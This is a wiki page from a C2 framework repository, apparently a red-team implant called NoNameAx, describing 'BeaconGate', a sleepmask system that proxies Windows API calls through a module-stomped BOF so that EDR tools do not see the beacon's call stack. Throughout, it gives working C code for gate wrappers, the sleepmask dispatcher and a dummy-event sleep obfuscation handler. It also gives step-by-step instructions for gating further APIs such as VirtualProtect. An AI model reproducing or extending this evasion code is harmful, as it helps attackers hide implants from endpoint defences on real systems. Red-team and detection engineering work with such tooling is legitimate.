Files
MaorSabag-NaX/wiki/BeaconGate-Sleepmask.md
MaorSabag c0fc8d878b Initial commit: NoNameAx public release
Position-independent C2 beacon for Adaptix Framework with:
- PIC shellcode beacon (PEB walk, FNV1a hashing)
- BeaconGate API proxy + WFSO PoC sleepmask (extensible)
- BOF execution with module stomping
- Malleable C2 profiles with runtime switching
- WinHTTP transport (proxy-aware)
- Token manipulation (steal, impersonate, create)
- TCP tunneling (SOCKS, lportfwd, rportfwd)
- SMB pivoting
- Stardust UDRL loader with module stomping
2026-06-28 09:44:19 -04:00

23 KiB

BeaconGate & Sleepmask

BeaconGate is an API call proxy that routes sensitive WinAPI calls through a sleepmask BOF instead of calling them directly from beacon code. This ensures the beacon's call stack never appears in EDR telemetry for intercepted API calls.

How It Works

The Problem

When the beacon calls Sleep(), the call stack shows beacon code sitting in private (PRV) memory calling kernel32. EDR tools flag this - legitimate threads sleep from image-backed (IMG) code, not from anonymous shellcode regions.

The Solution

Instead of calling Sleep() directly, the beacon calls a gate wrapper (NaxGateSleep) which builds a FUNCTION_CALL struct describing the intended API call, then routes it through a sleepmask BOF loaded into image-backed memory via module stomping. The sleepmask executes the API on the beacon's behalf.

Beacon heartbeat loop
  └── Nax->Kernel32.Sleep(ms)      // actually calls NaxGateSleep
        └── NaxGateSleep(ms)
              ├── builds FUNCTION_CALL { GateApi=SLEEP, FunctionPtr=real_Sleep, Args[0]=ms }
              └── calls Nax->Gate(Nax, &fc)    // sleep_mask BOF entry
                    └── sleep_mask(NaxPtr, FnCall)
                          └── HandleSleep(FnCall)
                                └── NtWaitForSingleObject(hEvent, FALSE, &timeout)

Architecture Overview

┌─────────────────────┐
│ Adaptix UI          │  ← operator picks gated APIs from a list
│ BeaconGate tab      │
└────────┬────────────┘
         │ gate_apis = ["Sleep", "WaitForSingleObject", ...]
         ▼
┌─────────────────────┐
│ Go plugin           │  ← emits #define NAX_GATE_SLEEP, NAX_GATE_WAITFORSINGLEOBJECT, ...
│ pl_build.go         │  ← compiles sleepmask BOF → embeds in Config_sleepmask.h
└────────┬────────────┘
         │
    ┌────┴────────────────────────────┐
    │                                  │
    ▼                                  ▼
┌────────────────────┐      ┌──────────────────────┐
│ src_beacon/        │      │ src_sleepmask/       │
│ Gate.h             │      │ Gate.h (own copy)    │
│ Instance.h         │      │ main.c               │
│  • NAX_GATE_       │      │  • HandleSleep       │
│    ORIGINALS       │      │  • HandleWFSO        │
│ Sleepmask.c        │      │  • HandleWFMO        │
│  • gate wrappers   │      │  • HandleGeneric     │
│  • NaxSleepmaskInit│      │                      │
│  • NaxSleepmaskWire│      │                      │
└────────────────────┘      └──────────────────────┘
        ▲ struct layout must match ▲

Naming Convention

All compile-time gate flags follow the rule:

#define NAX_GATE_<TOUPPER(FunctionName)>
Win32 Function Config.h Define
Sleep NAX_GATE_SLEEP
WaitForSingleObject NAX_GATE_WAITFORSINGLEOBJECT
WaitForMultipleObjects NAX_GATE_WAITFORMULTIPLEOBJECTS
VirtualProtect NAX_GATE_VIRTUALPROTECT

The Go plugin auto-derives the define from the function name (strings.ToUpper(name)), so no lookup table is needed. The operator types the exact Win32 function name in the UI list and the code-side #ifdef guard uses the uppercase version.

Key Components

GATE_API enum (include/Gate.h):

typedef enum _GATE_API {
    GATE_API_GENERIC                   = 0x00,
    GATE_API_SLEEP                     = 0x01,
    GATE_API_WAIT_FOR_SINGLE_OBJECT    = 0x02,
    GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03,
} GATE_API;

FUNCTION_CALL struct (include/Gate.h):

typedef struct _FUNCTION_CALL {
    PVOID      FunctionPtr;     // target API address
    UINT32     GateApi;         // GATE_API tag for dispatch
    UINT32     NumArgs;         // argument count (0-10)
    ULONG_PTR  Args[10];       // arguments
    ULONG_PTR  RetValue;       // return value passed back to beacon
} FUNCTION_CALL;

NAX_GATE_ORIGINALS struct (include/Instance.h):

typedef struct {
    PVOID  Sleep;
    PVOID  WaitForSingleObject;
    PVOID  WaitForMultipleObjects;
    PVOID  VirtualProtect;
} NAX_GATE_ORIGINALS;

NAX_GATE_SWAP_TABLE (include/Instance.h):

#define NAX_GATE_MAX_SWAPS 8

typedef struct {
    PVOID* Slot;
    PVOID  Original;
} NAX_GATE_SWAP;

typedef struct {
    NAX_GATE_SWAP Entries[NAX_GATE_MAX_SWAPS];
    UINT32        Count;
} NAX_GATE_SWAP_TABLE;

NAX_GATE_ORIGINALS holds the real API addresses for per-API handler dispatch. The swap table (GateSwaps field in NAX_INSTANCE) tracks all gate registrations for dynamic unwiring via NaxGateUnwireAll(). Separate from the per-DLL structs (NAX_KERNEL32, etc.) to keep gate concerns isolated. Accessed as Nax->GateOriginals.Sleep, etc.

Gate wrappers (src_beacon/src/Commands/Sleepmask.c):

  • NaxGateSleep() - replaces Nax->Kernel32.Sleep
  • NaxGateWaitForSingleObject() - replaces Nax->Kernel32.WaitForSingleObject
  • NaxGateWaitForMultipleObjects() - replaces Nax->Kernel32.WaitForMultipleObjects
  • Each wrapper sets GateApi to the correct enum value and reads FunctionPtr from GateOriginals

Sleepmask BOF (src_sleepmask/src/main.c):

  • Compiled as a COFF .o file, loaded by the beacon's BOF loader
  • Runs from image-backed memory (module-stomped DLL .text)
  • Entry point: sleep_mask(void* NaxPtr, PFUNCTION_CALL FnCall)
  • Dispatches on FnCall->GateApi to per-API handler functions
  • HandleGeneric() dispatches arbitrary APIs (0-10 args) via function pointer

Embedded Sleepmask

The sleepmask BOF is embedded at build time in Config_sleepmask.h as a NAX_SLEEPMASK_WRITE macro. During beacon startup (NaxSleepmaskInit), the BOF bytes are written to a heap buffer, loaded via NaxBofLoadResident, and wired before the first sleep ever executes.

This eliminates the "first sleep gap" - there is no window where raw kernel32 Sleep is exposed.

Build Pipeline

1. Operator generates payload with BeaconGate enabled
2. Go plugin compiles src_sleepmask/ → sleepmask.x64.o
3. Go plugin converts BOF bytes to Config_sleepmask.h (byte-by-byte WRITE macro)
4. Go plugin generates Config.h with #define NAX_GATE_SLEEP / NAX_GATE_WAITFORSINGLEOBJECT / ...
5. Beacon compiles with embedded sleepmask
6. On first run: NaxSleepmaskInit() → heap alloc → WRITE → BofLoadResident → wire gate
7. First sleep already goes through BeaconGate

Runtime Reload (sleepmask-set)

The sleepmask-set command rebuilds the sleepmask BOF from source and hot-loads it into a running beacon without redeploying. Use it when iterating on sleepmask logic (e.g., changing sleep obfuscation behavior, adding debug prints).

Workflow:

  1. Edit sleepmask source files in src_sleepmask/
  2. Run sleepmask-set (or sleepmask-set -debug) from the Adaptix operator console
  3. The server rebuilds the BOF from source (make clean && make in src_sleepmask/)
  4. Fresh .o bytes are sent to the beacon via CMD_SLEEPMASK_SET (0x32)
  5. Beacon calls NaxSleepmaskWireNaxBofLoadResident (frees old resident, loads new)
  6. Gate wrappers are re-registered to route through the new sleep_mask() entry point
  7. Next sleep cycle uses the updated sleepmask

Flags:

Flag Effect
(none) Release build — no debug prints from sleepmask
-debug Debug build (-DDEBUG) — sleepmask emits NaxDbg prints

Important: The beacon must have been built with BeaconGate enabled. Without gate wrappers compiled into the beacon, the BOF loads but nothing routes through it.

Wiring Flow

1. Beacon starts, resolves APIs

Standard PEB walk resolves kernel32 function pointers including Sleep, WaitForSingleObject, and WaitForMultipleObjects.

2. NaxSleepmaskInit loads embedded BOF

Called during beacon init, before the heartbeat loop:

  1. Allocates heap buffer of NAX_SLEEPMASK_LEN bytes
  2. Writes embedded BOF bytes via NAX_SLEEPMASK_WRITE(buf)
  3. Calls NaxSleepmaskWireNaxBofLoadResident (permanent module-stomped load)
  4. Backs up real function pointers to Nax->GateOriginals.*
  5. Swaps function pointers to gate wrappers
  6. Frees the temporary buffer (BOF is mapped elsewhere)

3. Every subsequent call goes through the gate

Nax->Kernel32.Sleep(ms)
  → NaxGateSleep(ms)          // gate wrapper
    → Nax->Gate(Nax, &fc)     // sleepmask BOF (image-backed memory)
      → HandleSleep(FnCall)
        → NtWaitForSingleObject(hEvent, FALSE, &timeout)

The .refptr Problem

On MinGW x86_64, taking a function pointer across translation units generates a .rdata$.refptr.FuncName GOT-like section. When only .text is extracted for PIC shellcode, this section is lost.

Fix: All gate wrappers and the code that takes their address (NaxSleepmaskWire) live in the same translation unit (Sleepmask.c). Same-TU references use direct RIP-relative lea instructions - no .refptr indirection needed.

Configuring BeaconGate

Step 1: Enable in the Adaptix UI

  1. Open the Adaptix client
  2. Go to Listeners → select your HTTP or SMB listener → Generate Payload
  3. Click the BeaconGate tab
  4. Check Enable BeaconGate - this auto-enables:
    • Module Stomping (required for image-backed BOF execution)
    • The Sleepmask DLL field and gated APIs list become editable
  5. Sleepmask DLL (default msxml6.dll): the sacrificial DLL for the dedicated sleepmask stomp slot. Must be different from the sync/async BOF DLLs.
  6. The default list includes Sleep, WaitForSingleObject, WaitForMultipleObjects
  7. Add or remove APIs using the text field + +/- buttons
  8. Generate the payload

The UI writes three config keys consumed by the Go plugin:

  • beacongate → triggers sleepmask BOF compilation + embedding
  • sm_stomp_dll → DLL for the dedicated sleepmask stomp slot (separate from sync/async BOFs)
  • gate_apis → list of function names → each becomes #define NAX_GATE_TOUPPER(name) in Config.h

Step 2: Verify in Debug Build

With a debug beacon, look for these log lines at startup:

[sleepmask] init: embedding 3594 bytes
[sleepmask] gated: Sleep (real=00007FFxxxxx)
[sleepmask] gated: WaitForSingleObject (real=00007FFxxxxx)
[sleepmask] gated: WaitForMultipleObjects (real=00007FFxxxxx)
[sleepmask] wired: gate=00007FFxxxxx

And on each sleep cycle:

[gate] Sleep(5000 ms)
[sleepmask] GateApi=0x01 NumArgs=1 FunctionPtr=00007FFxxxxx
[sleepmask] Sleep -> NtWaitForSingleObject(hEvent, 5000 ms)
[sleepmask] woke up

Adding a New Gated API

This section walks through adding a new API to BeaconGate end-to-end. We'll use VirtualProtect as the example.

Step 1: Add the GATE_API enum value

Edit both Gate.h files (they must stay in sync):

src_beacon/include/Gate.h and src_sleepmask/include/Gate.h:

typedef enum _GATE_API {
    GATE_API_GENERIC                   = 0x00,
    GATE_API_SLEEP                     = 0x01,
    GATE_API_WAIT_FOR_SINGLE_OBJECT    = 0x02,
    GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03,
    GATE_API_VIRTUAL_PROTECT           = 0x04,   // ← new
} GATE_API;

Pick the next unused hex value. The enum tag is how the sleepmask knows which handler to call.

Step 2: Add the backup pointer

src_beacon/include/Instance.h - add the original function pointer to NAX_GATE_ORIGINALS:

typedef struct {
    PVOID  Sleep;
    PVOID  WaitForSingleObject;
    PVOID  WaitForMultipleObjects;
    PVOID  VirtualProtect;             // ← new
} NAX_GATE_ORIGINALS;

This struct is separate from the per-DLL structs and lives in NAX_INSTANCE as GateOriginals.

Step 3: Write the gate wrapper in Sleepmask.c

src_beacon/src/Commands/Sleepmask.c - add the gate wrapper function, guarded by a compile-time #ifdef using the naming convention NAX_GATE_ + TOUPPER(FunctionName):

#ifdef NAX_GATE_VIRTUALPROTECT
FUNC BOOL WINAPI NaxGateVirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) {
    G_INSTANCE;

    NaxDbg( Nax, "[gate] VirtualProtect(%p, %zu, 0x%lx)", lpAddress, dwSize, flNewProtect );

    FUNCTION_CALL fc;
    MmZero( &fc, sizeof( fc ) );

    fc.FunctionPtr = Nax->GateOriginals.VirtualProtect;
    fc.GateApi     = GATE_API_VIRTUAL_PROTECT;
    fc.NumArgs     = 4;
    fc.Args[0]     = (ULONG_PTR)lpAddress;
    fc.Args[1]     = (ULONG_PTR)dwSize;
    fc.Args[2]     = (ULONG_PTR)flNewProtect;
    fc.Args[3]     = (ULONG_PTR)lpflOldProtect;

    ((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );

    return (BOOL)fc.RetValue;
}
#endif

Critical rules:

  • The wrapper must be in Sleepmask.c (same TU as the wiring code) to avoid the .refptr problem
  • Match the original API's exact signature and calling convention
  • Set GateApi to your new enum value
  • Read FunctionPtr from Nax->GateOriginals.VirtualProtect, not the swapped pointer

Step 4: Wire the gate in NaxSleepmaskWire

In the same file, add the wiring block inside NaxSleepmaskWire():

#ifdef NAX_GATE_VIRTUALPROTECT
    if ( !Nax->GateOriginals.VirtualProtect )
        Nax->GateOriginals.VirtualProtect = (PVOID)Nax->Kernel32.VirtualProtect;
    NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.VirtualProtect, (PVOID)NaxGateVirtualProtect );
    NaxDbg( Nax, "[sleepmask] gated: VirtualProtect (real=%p)", Nax->GateOriginals.VirtualProtect );
#endif

This records the swap in the gate swap table (so NaxGateUnwireAll() can restore it) and swaps the function pointer to the gate wrapper.

Step 5: Add the sleepmask handler

src_sleepmask/src/main.c - add a handler function and a case in the dispatcher:

/* ========= [ BOF imports ] ========= */
__declspec(dllimport) BOOL WINAPI KERNEL32$VirtualProtect( LPVOID, SIZE_T, DWORD, PDWORD );
#define VirtualProtect KERNEL32$VirtualProtect

/* ========= [ per-API handlers ] ========= */
static void HandleVirtualProtect( PFUNCTION_CALL FnCall ) {
    LPVOID  lpAddress      = (LPVOID)FnCall->Args[0];
    SIZE_T  dwSize         = (SIZE_T)FnCall->Args[1];
    DWORD   flNewProtect   = (DWORD)FnCall->Args[2];
    PDWORD  lpflOldProtect = (PDWORD)FnCall->Args[3];

    BOOL ret = VirtualProtect( lpAddress, dwSize, flNewProtect, lpflOldProtect );
    FnCall->RetValue = (ULONG_PTR)ret;
}

/* ========= [ entry point ] ========= */
void sleep_mask( void* NaxPtr, PFUNCTION_CALL FnCall ) {
    switch ( FnCall->GateApi ) {
    case GATE_API_SLEEP:                     HandleSleep( FnCall );                  return;
    case GATE_API_WAIT_FOR_SINGLE_OBJECT:    HandleWaitForSingleObject( FnCall );    return;
    case GATE_API_WAIT_FOR_MULTIPLE_OBJECTS: HandleWaitForMultipleObjects( FnCall );  return;
    case GATE_API_VIRTUAL_PROTECT:           HandleVirtualProtect( FnCall );          return;
    default:                                 HandleGeneric( FnCall );                 return;
    }
}

If the API doesn't need special handling, you can skip the dedicated handler and let it fall through to HandleGeneric - the generic dispatcher calls the function pointer with the correct number of args based on NumArgs. Dedicated handlers are for APIs that need custom behavior (e.g., the Sleep handler's dummy event technique). If you want to plug in your own sleep obfuscation technique, HandleSleep is the right place to start.

Step 6: Add the name to the UI list (no code changes needed)

Because the UI uses a list widget, the operator simply types the function name in the BeaconGate tab. The Go plugin auto-derives #define NAX_GATE_VIRTUALPROTECT from "VirtualProtect" via strings.ToUpper(). No changes needed in pl_build.go or pl_main.go.

Summary: All Files to Touch

File What to add
src_beacon/include/Gate.h New GATE_API_* enum value
src_sleepmask/include/Gate.h Same enum value (keep in sync)
src_beacon/include/Instance.h PVOID FunctionName; in NAX_GATE_ORIGINALS
src_beacon/src/Commands/Sleepmask.c #ifdef NAX_GATE_TOUPPER gate wrapper + NaxGateRegister() wiring
src_sleepmask/src/main.c BOF import + handler function + switch case

Note: no Go plugin or AxScript changes needed - the list-based UI and dynamic TOUPPER() conversion handle any function name automatically.

When to Use HandleGeneric vs. a Dedicated Handler

  • HandleGeneric: The API is called normally with its real function pointer. Use when you just want clean call stacks without changing behavior. Most APIs belong here.
  • Dedicated handler: The API needs special behavior — for example, HandleSleep creates a dummy event and waits on it via NtWaitForSingleObject instead of calling Sleep directly. Write a dedicated handler when you need to modify the call itself or implement your own sleep obfuscation logic.

If you don't write a handler, the default: case in the sleepmask dispatcher routes to HandleGeneric, which calls the function pointer with the correct number of args based on NumArgs. You still need the gate wrapper on the beacon side (to intercept the call and build FUNCTION_CALL), but the sleepmask side "just works."


BOF Symbol Resolution

The sleepmask is a standard BOF. External symbols use the MODULE$FUNCTION convention:

__declspec(dllimport) DWORD WINAPI KERNEL32$WaitForSingleObject( HANDLE, DWORD );
#define WaitForSingleObject KERNEL32$WaitForSingleObject

The beacon's COFF loader splits on $, calls LoadLibraryA(module) + GetProcAddress(function) to resolve each symbol at load time.

Resident BOF Loading & Dedicated SmSlot

Unlike normal BOFs which are loaded, executed, and freed, the sleepmask uses resident loading (NaxBofLoadResident). The BOF stays mapped in memory permanently because beacon calls it on every heartbeat.

The Problem: Slot Contention

Previously the sleepmask occupied the sync stomp slot, blocking all regular sync BOFs from module stomping. When a command BOF ran (e.g., whoami), it couldn't stomp because the sync slot was permanently occupied → fell back to private memory → call stacks showed PRV addresses.

The Fix: Dedicated Sleepmask Stomp Slot (SmSlot)

The BOF_STOMP_POOL now has a dedicated SmSlot exclusively for the resident sleepmask BOF. It is loaded from a separate DLL (configurable as "Sleepmask DLL" in the BeaconGate tab, default msxml6.dll).

typedef struct {
    BOF_STOMP_SLOT SyncSlot;      // regular sync BOFs
    BOF_STOMP_SLOT AsyncSlots[];  // async BOF jobs
    BOF_STOMP_SLOT SmSlot;        // ← dedicated sleepmask slot
    BYTE           SmStompReq;    // flag: route next stomp ops to SmSlot
} BOF_STOMP_POOL;

How it works:

  1. NaxBofStompInit initializes SmSlot from Config.SmStompDll (a separate DLL from sync/async)
  2. NaxBofLoadResident sets SmStompReq=TRUE before allocating
  3. All stomp functions (Alloc, Protect, Pdata, Free) check SmStompReq first and pick SmSlot
  4. After loading, SmStompReq is cleared - SmSlot.InUse stays TRUE permanently
  5. Regular BOFs never see SmSlot, so the sync slot remains free

Result: The sleepmask runs from its own image-backed DLL (clean call stack), and sync/async BOF stomping works normally alongside it.

Sleep Obfuscation

The sleepmask supports optional sleep obfuscation selected at build time via the operator UI's SleepObf combo box.

WFSO PoC (SleepObf=On)

When SleepObf is enabled, HandleSleep replaces the direct Sleep call with a dummy-event wait via native NT APIs. This ensures the sleeping thread's call stack originates from ntdll rather than kernel32, and the wait target is a transient event handle rather than the process pseudo-handle.

Implementation (src_sleepmask/src/main.c):

static void HandleSleep( PFUNCTION_CALL FnCall ) {
    DWORD ms = (DWORD)FnCall->Args[0];

    // Convert milliseconds to a negative 100ns LARGE_INTEGER
    LARGE_INTEGER timeout;
    timeout.QuadPart = -((LONGLONG)ms * 10000);

    // Create a one-shot dummy event (auto-reset, non-signalled)
    HANDLE hEvent = NULL;
    NtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE );

    // Wait on the dummy event — it will never be signalled, so this
    // blocks for exactly `timeout` before returning STATUS_TIMEOUT
    NtWaitForSingleObject( hEvent, FALSE, &timeout );

    NtClose( hEvent );
}

HandleWaitForSingleObject and HandleWaitForMultipleObjects are pass-throughs: they call NtWaitForSingleObject (or WaitForMultipleObjects) directly on the original handle. HandleVirtualProtect calls VirtualProtect directly. HandleGeneric dispatches up to 10 args via a function pointer cast.

When SleepObf=Off: HandleSleep falls through to HandleGeneric, which calls the real Sleep function pointer via FnCall->FunctionPtr with the original arguments. Behavior is identical to calling Sleep directly, except the call originates from image-backed memory.

NAX_SM_CONFIG (shared config struct between beacon and sleepmask):

typedef struct {
    UINT8  SleepObf;   // 0 = off, 1 = on
    UINT8  _pad[3];
} NAX_SM_CONFIG;

Extending this: HandleSleep is the designated extension point for sleep obfuscation. Replace its body with your own technique — timer queues, APC chains, or anything else — without touching the gate wiring or any other handler. The rest of the architecture stays the same.

Operator Configuration

In the Adaptix UI payload generation dialog:

Field Values Effect
SleepObf Off / On Enables WFSO dummy-event sleep obfuscation
Sleepmask DLL e.g. msxml6.dll Sacrificial DLL for the sleepmask's dedicated stomp slot

The sleepobf-config command can toggle sleep obfuscation at runtime:

sleepobf-config {sleep_obf}

Where {sleep_obf} is on or off.

Files

File Role
src_beacon/include/Gate.h GATE_API enum, FUNCTION_CALL struct, FN0-FN10 typedefs
src_beacon/include/Config.h SleepObf config field
src_beacon/include/Config_sleepmask.h Sleepmask config struct shared with beacon (NAX_SM_CONFIG)
src_beacon/include/Instance.h NAX_GATE_ORIGINALS struct, Gate entry pointer in NAX_INSTANCE
src_beacon/src/Commands/Sleepmask.c Gate wrappers + NaxSleepmaskInit + NaxSleepmaskWire + runtime reload
src_beacon/src/Commands/Dispatch.c Routes CMD_SLEEPMASK_SET to handler
src_beacon/src/Main.c Calls NaxSleepmaskInit() at startup
src_sleepmask/include/Gate.h Sleepmask-local copy of GATE_API enum and FUNCTION_CALL struct (must stay in sync with beacon's)
src_sleepmask/include/Imports.h Sleepmask BOF import declarations
src_sleepmask/src/main.c Sleepmask BOF entry (sleep_mask), per-API handlers, HandleGeneric dispatcher
src_server/agent_nonameax/pl_build.go Config.h generation with NAX_GATE_TOUPPER defines + Config_sleepmask.h
src_server/agent_nonameax/pl_main.go Reads gate_apis list, builds sleepmask BOF, embeds in payload
src_server/agent_nonameax/ax_config.axs BeaconGate UI tab, SleepObf config, sleepmask-set command